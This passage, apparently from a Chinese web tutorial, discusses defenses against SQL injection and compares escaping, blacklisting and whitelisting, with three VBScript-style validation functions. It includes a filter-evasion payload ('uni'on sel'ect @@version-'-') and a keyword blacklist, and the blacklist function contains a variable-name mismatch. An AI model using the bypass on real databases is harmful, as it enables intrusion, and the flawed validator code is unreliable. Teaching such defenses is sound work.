有很多概念上的問題;首先,開發(fā)者沒有必要知道非法數(shù)據(jù)由什么組成,因為新形式的非法數(shù)據(jù)隨時都可能產(chǎn)生。第二,改變數(shù)據(jù)會改變它的長度,這樣會導(dǎo)致前面提到的問題。最后,還有需要對系統(tǒng)已有數(shù)據(jù)的重用的話有二次注入的問題.
解決方案2也會遇到和1的一些相似的問題,了解非法數(shù)據(jù)會過時,因為新的攻擊技術(shù)也在發(fā)展。
解決方案3可能是三種方法中最好的,但是比較難于執(zhí)行。
從安全角度來考慮可能最好多解決方法是把解決方案2和3結(jié)合起來只允許合法的輸入,然后再尋找非法字符。
一個必須結(jié)合這兩種途徑的例子是帶有連字符的名字的問題:
Question Bassington-Bassington
我們必須在合法輸入里允許連字符號,但是也要明白字符串'--'在SQL-Server里意味著什么。
當(dāng)數(shù)據(jù)整理結(jié)合了非法字符驗證時另一個問題就會發(fā)生。假設(shè)我們應(yīng)用“非法字符探測器”來探測'--','select'和'union'”后使用“數(shù)據(jù)整理過濾器”刪除單引號,攻擊者就可以指定這樣的輸入:
uni'on sel'ect @@version-'-
因為單引號被過濾器刪除了,攻擊者可以把單引號散布于它的已知的非法字符串里來躲避檢查。
下面是一些驗證的代碼:
方法1-躲避單引號
復(fù)制代碼 代碼如下:
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
方法2-抵制已知的非法輸入
復(fù)制代碼 代碼如下:
function validate_string( input )
know_bad = array( "select", "insert", "update", "delete", "drop", "--", "'")
validate_string = true
for i = lbound( know_bad ) to ubound( known_bad )
if( instr( 1, input, known_bad(i), vbtextcompare) > 0 )
validate_string = false
exit function
end if
next
end function
方法3-只允許合法輸入
復(fù)制代碼 代碼如下:
function validatepassword( input )
good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( instr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
您可能感興趣的文章:- 利用SQL注入漏洞登錄后臺的實(shí)現(xiàn)方法
- 有效防止SQL注入的5種方法總結(jié)
- 利用SQL注入漏洞拖庫的方法
- SQL注入中繞過 單引號 限制繼續(xù)注入
- sql注入之手工注入示例詳解
- MySQL 及 SQL 注入與防范方法
- 防御SQL注入的方法總結(jié)
- SQL 注入式攻擊的終極防范
- 關(guān)于SQL注入中文件讀寫的方法總結(jié)
- sql注入教程之類型以及提交注入